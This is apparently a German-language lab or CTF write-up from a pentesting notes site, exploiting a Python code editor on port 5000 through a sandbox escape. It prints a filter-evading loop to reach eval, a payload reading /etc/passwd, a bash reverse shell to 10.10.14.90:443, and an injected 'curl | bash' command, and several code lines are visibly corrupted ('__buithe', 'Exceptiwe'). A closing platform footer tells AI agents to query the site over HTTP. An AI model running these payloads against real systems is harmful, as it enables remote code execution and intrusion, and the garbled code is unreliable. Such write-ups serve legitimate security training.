> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# SSTI Python-Code-Editor

## SSTI-Ausnutzung – Python-Code-Editor

<figure><img src="/files/22849f4ed60aaf69911544dab171a57593bd8e7d" alt=""><figcaption></figcaption></figure>

Ein Python-Code-Editor wird auf Port 5000 entdeckt. Bei klassischen Injektionsversuchen (`import os`, `exec`, usw.) werden Fehler erzeugt.

<figure><img src="/files/f641cb2609f138f87ffdf03fad69c416b9e98e39" alt=""><figcaption></figcaption></figure>

Um die Beschränkungen zu umgehen, verwenden wir eine Schleife, um eine Klasse zu identifizieren, die den Zugriff auf die eingebauten Funktionen ermöglicht (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> Diese Python-Schleife versucht, eine Server-Side-Template-Injection (SSTI) auszunutzen, indem sie unter den Unterklassen des Python-Basisobjekts (`object`) Zugriff auf die globale Umgebung (`__globals__`) seiner Methode `__init__`. Bei jeder Iteration versucht sie, das Wörterbuch der eingebauten Funktionen (`__builtins__`) abzurufen, indem sie dessen Namen rekonstruiert, um einer einfachen Erkennung zu entgehen. Wenn das erhaltene Objekt die Funktion `eval` (sehr gefährlich, da sie das Ausführen beliebigen Codes ermöglicht) enthält, wird der Index der Klasse angezeigt. Dieser Code wird oft verwendet, um eine Klasse zu finden, die Zugriff auf kritische Funktionen wie `eval`, `exec`, `öffnen`, usw. ermöglicht, um sie auszunutzen.

<figure><img src="/files/5a3b3b124acf81b81515311c51930d2d31ef8938" alt=""><figcaption></figcaption></figure>

### Lesen `/etc/passwd`

Sobald das Objekt mit `eval` identifiziert ist, führen wir aus:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

Dies enthüllt zwei Benutzer: `martin` und `production`.

<figure><img src="/files/0be2fa396e8667b266cd8d488dc703f8a2586a6a" alt=""><figcaption></figcaption></figure>

### **Reverse Shell**

#### Einen Listener auf Port 443 starten:

```bash
nc -nvlp 443

```

#### Reverse-Shell-Skript:

Erstellung eines `index.html` Datei mit:

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Einen Webserver starten:

```bash
python3 -m http.server 80

```

Injektion der Nutzlast:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/170f96642d9a8a6c0cb7a25f8f45bef5377b343d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
